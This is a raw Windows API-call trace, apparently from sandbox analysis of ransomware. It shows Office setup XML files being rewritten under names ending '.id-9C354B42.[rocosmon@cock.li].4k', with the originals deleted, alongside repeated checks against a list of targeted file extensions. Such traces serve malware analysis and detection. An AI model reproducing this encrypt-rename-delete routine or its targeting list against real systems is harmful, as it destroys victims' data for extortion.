	[0100.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.600] GetLastError () returned 0x0
	[0100.600] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x543, lpOverlapped=0x0) returned 1
	[0100.642] WriteFile (in: hFile=0x1e8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0100.643] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.643] WriteFile (in: hFile=0x1e8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.644] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.644] CloseHandle (hObject=0x1e8) returned 1
	[0100.644] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.644] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.645] CloseHandle (hObject=0x1f0) returned 1
	[0100.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1
	[0100.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.646] lstrlenW (lpString=".doc") returned 4
	[0100.646] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.646] lstrlenW (lpString=".docx") returned 5
	[0100.646] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.646] lstrlenW (lpString=".pdf") returned 4
	[0100.646] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.646] lstrlenW (lpString=".xls") returned 4
	[0100.646] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.646] lstrlenW (lpString=".xlsx") returned 5
	[0100.646] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.646] lstrlenW (lpString=".ppt") returned 4
	[0100.646] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.646] lstrlenW (lpString=".zip") returned 4
	[0100.646] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.647] lstrlenW (lpString=".rar") returned 4
	[0100.647] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString=".bz2") returned 4
	[0100.647] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString=".7z") returned 3
	[0100.647] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.647] lstrlenW (lpString=".dbf") returned 4
	[0100.647] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.647] lstrlenW (lpString=".1cd") returned 4
	[0100.647] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.647] lstrlenW (lpString=".jpg") returned 4
	[0100.647] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.647] lstrlenW (lpString=".doc") returned 4
	[0100.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString=".docx") returned 5
	[0100.647] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.647] lstrlenW (lpString=".pdf") returned 4
	[0100.647] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString=".xls") returned 4
	[0100.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.647] lstrlenW (lpString=".xlsx") returned 5
	[0100.647] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.647] lstrlenW (lpString=".ppt") returned 4
	[0100.648] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.648] lstrlenW (lpString=".zip") returned 4
	[0100.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.648] lstrlenW (lpString=".rar") returned 4
	[0100.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.648] lstrlenW (lpString=".bz2") returned 4
	[0100.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.648] lstrlenW (lpString=".7z") returned 3
	[0100.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.648] lstrlenW (lpString=".dbf") returned 4
	[0100.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.648] lstrlenW (lpString=".1cd") returned 4
	[0100.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0100.648] lstrlenW (lpString=".jpg") returned 4
	[0100.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.648] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.648] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.826] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5884) returned 1
	[0100.826] CloseHandle (hObject=0x184) returned 1
	[0100.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20
	[0100.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0100.870] GetLastError () returned 0x0
	[0100.870] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x16fc, lpOverlapped=0x0) returned 1
	[0100.919] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1700, lpOverlapped=0x0) returned 1
	[0100.920] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.920] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.920] SetEndOfFile (hFile=0x210) returned 1
	[0100.921] CloseHandle (hObject=0x210) returned 1
	[0100.921] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.921] SetEndOfFile (hFile=0x184) returned 1
	[0100.924] CloseHandle (hObject=0x184) returned 1
	[0100.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.925] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1
	[0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.925] lstrlenW (lpString=".doc") returned 4
	[0100.925] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.925] lstrlenW (lpString=".docx") returned 5
	[0100.925] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.925] lstrlenW (lpString=".pdf") returned 4
	[0100.925] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.925] lstrlenW (lpString=".xls") returned 4
	[0100.925] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString=".xlsx") returned 5
	[0100.926] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.926] lstrlenW (lpString=".ppt") returned 4
	[0100.926] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.926] lstrlenW (lpString=".zip") returned 4
	[0100.926] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.926] lstrlenW (lpString=".rar") returned 4
	[0100.926] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString=".bz2") returned 4
	[0100.926] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString=".7z") returned 3
	[0100.926] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.926] lstrlenW (lpString=".dbf") returned 4
	[0100.926] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.926] lstrlenW (lpString=".1cd") returned 4
	[0100.926] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.926] lstrlenW (lpString=".jpg") returned 4
	[0100.926] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.927] lstrlenW (lpString=".doc") returned 4
	[0100.927] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString=".docx") returned 5
	[0100.927] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.927] lstrlenW (lpString=".pdf") returned 4
	[0100.927] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString=".xls") returned 4
	[0100.927] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString=".xlsx") returned 5
	[0100.927] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.927] lstrlenW (lpString=".ppt") returned 4
	[0100.927] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.927] lstrlenW (lpString=".zip") returned 4
	[0100.927] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.927] lstrlenW (lpString=".rar") returned 4
	[0100.927] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString=".bz2") returned 4
	[0100.927] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.927] lstrlenW (lpString=".7z") returned 3
	[0100.927] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.927] lstrlenW (lpString=".dbf") returned 4
	[0100.927] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.928] lstrlenW (lpString=".1cd") returned 4
	[0100.928] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0100.928] lstrlenW (lpString=".jpg") returned 4
	[0100.928] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.928] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.928] lstrlenW (lpString="WordMUI.XML") returned 11
	[0100.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.955] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1800) returned 1
	[0100.955] CloseHandle (hObject=0x184) returned 1
	[0100.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20
	[0100.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.956] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.956] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0100.969] GetLastError () returned 0x0
	[0100.969] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x708, lpOverlapped=0x0) returned 1
	[0101.000] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x710, lpOverlapped=0x0) returned 1
	[0101.002] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.002] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0101.002] SetEndOfFile (hFile=0x210) returned 1
	[0101.002] CloseHandle (hObject=0x210) returned 1
	[0101.002] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.002] SetEndOfFile (hFile=0x184) returned 1
	[0101.004] CloseHandle (hObject=0x184) returned 1
	[0101.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1
	[0101.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.005] lstrlenW (lpString=".doc") returned 4
	[0101.005] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString=".docx") returned 5
	[0101.005] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0101.005] lstrlenW (lpString=".pdf") returned 4
	[0101.005] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString=".xls") returned 4
	[0101.005] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString=".xlsx") returned 5
	[0101.005] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0101.005] lstrlenW (lpString=".ppt") returned 4
	[0101.005] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.005] lstrlenW (lpString=".zip") returned 4
	[0101.005] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.005] lstrlenW (lpString=".rar") returned 4
	[0101.005] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString=".bz2") returned 4
	[0101.005] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString=".7z") returned 3
	[0101.005] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.005] lstrlenW (lpString=".dbf") returned 4
	[0101.005] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.006] lstrlenW (lpString=".1cd") returned 4
	[0101.006] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.006] lstrlenW (lpString=".jpg") returned 4
	[0101.006] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.006] lstrlenW (lpString=".doc") returned 4
	[0101.006] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString=".docx") returned 5
	[0101.006] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0101.006] lstrlenW (lpString=".pdf") returned 4
	[0101.006] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString=".xls") returned 4
	[0101.006] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString=".xlsx") returned 5
	[0101.006] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0101.006] lstrlenW (lpString=".ppt") returned 4
	[0101.006] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.006] lstrlenW (lpString=".zip") returned 4
	[0101.006] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.006] lstrlenW (lpString=".rar") returned 4
	[0101.006] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString=".bz2") returned 4
	[0101.006] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.006] lstrlenW (lpString=".7z") returned 3
	[0101.007] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.007] lstrlenW (lpString=".dbf") returned 4
	[0101.007] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.007] lstrlenW (lpString=".1cd") returned 4
	[0101.007] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0101.007] lstrlenW (lpString=".jpg") returned 4
	[0101.007] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.007] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0101.007] lstrlenW (lpString="TIME.XML") returned 8
	[0101.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
